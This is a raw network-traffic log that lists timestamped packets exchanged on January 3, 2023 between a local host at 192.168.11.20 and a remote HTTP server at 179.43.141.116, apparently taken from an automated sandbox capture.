                                                                              Jan 3, 2023 08:16:06.410691023 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410696983 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410701036 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410712004 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410722971 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410733938 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410743952 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410754919 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410764933 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410775900 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410785913 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410795927 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410801888 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410801888 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410806894 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410816908 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410861969 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410861969 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410861969 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410872936 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410882950 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410893917 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410897970 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410897970 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410903931 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410914898 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410924911 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410936117 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410945892 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410947084 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410947084 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410957098 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411001921 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411001921 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411046028 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411046028 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411048889 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411060095 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411071062 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411081076 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411092043 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411103010 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411114931 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411132097 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411144018 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411154032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411179066 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411187887 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411187887 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411190033 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411201000 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411211967 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411222935 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411233902 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411236048 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411245108 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411257029 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411267996 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411278963 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411284924 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411289930 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411302090 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411313057 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411324024 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411334991 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411334991 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411334991 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411334991 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411346912 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411358118 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411369085 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411380053 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411382914 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411391020 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411401987 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411426067 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411432981 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411432981 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411432981 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411449909 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411463022 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411474943 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411480904 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411487103 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411499023 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411510944 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411523104 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411531925 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411531925 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411531925 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411535025 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411546946 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411559105 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411571026 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411582947 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411595106 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411607027 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411618948 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411628008 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411628008 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411631107 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411643028 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411654949 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411667109 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411676884 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411679029 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411690950 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411703110 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411715031 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411725998 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411725998 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411726952 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411739111 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411751032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411762953 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411775112 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411776066 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411776066 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411787033 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411798954 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411812067 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411823988 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411824942 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411824942 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411835909 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411848068 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411859989 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411871910 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411874056 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411874056 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411874056 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411884069 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411895990 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411907911 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411920071 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411921978 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411931992 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411943913 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411956072 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411967993 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411972046 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411972046 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411972046 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.411979914 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.411992073 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412003994 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412015915 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412028074 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412040949 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412053108 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412065029 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412070036 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412070036 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412076950 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412089109 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412101030 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412112951 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412117958 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412125111 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412137032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412148952 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412161112 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412167072 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412167072 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412173033 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412184954 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412197113 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412209034 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412215948 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412215948 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412220955 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412233114 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412245035 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412256956 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412265062 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412265062 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412269115 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412293911 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412314892 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412314892 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412318945 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412333012 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412344933 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412357092 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412364006 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412364006 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412369013 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412380934 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412393093 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412408113 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412420034 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412431002 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412442923 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412455082 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412461996 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412461996 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412467003 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412478924 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412492037 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412503958 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412509918 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412514925 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412528038 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412539959 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412559986 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412564039 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412576914 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412589073 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412600994 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412609100 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412609100 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412609100 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412612915 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412625074 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412636995 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412648916 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412657022 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412662029 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412673950 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412686110 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412698030 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412707090 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412707090 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412707090 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412709951 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412722111 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412734032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412745953 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412755013 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412758112 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412770033 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412781954 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412794113 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412806034 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412817955 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412831068 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412842989 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412853956 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412853956 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412854910 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412867069 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412878990 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412890911 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412902117 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412903070 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412914991 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412926912 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412939072 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412950993 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412950993 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.412962914 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412975073 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412986994 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.412998915 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413001060 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413001060 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413001060 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413002014 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413011074 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413022995 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413034916 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413047075 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413052082 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413052082 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413058996 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413070917 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413083076 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413094997 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413100004 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413100004 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413106918 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413119078 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413130999 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413142920 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413149118 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413155079 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413167000 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413178921 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413191080 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413197041 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413203001 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413245916 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413245916 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413295984 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413324118 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413336992 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413347960 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413361073 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413372040 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413383961 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413393021 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413395882 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413408041 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413419962 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413431883 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413444042 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413455963 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413455963 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413455963 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413467884 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413480043 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413503885 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413503885 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413577080 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413589954 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413602114 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413614035 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413625956 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413638115 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413650036 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413655043 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413661957 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413674116 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413686037 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413697958 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413707972 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413708925 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413722038 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413733006 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413744926 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413755894 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413755894 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413757086 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413769007 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413780928 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413793087 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413805008 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413805962 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413805962 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413816929 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413830042 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413841963 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413853884 CET8049869179.43.141.116192.168.11.20
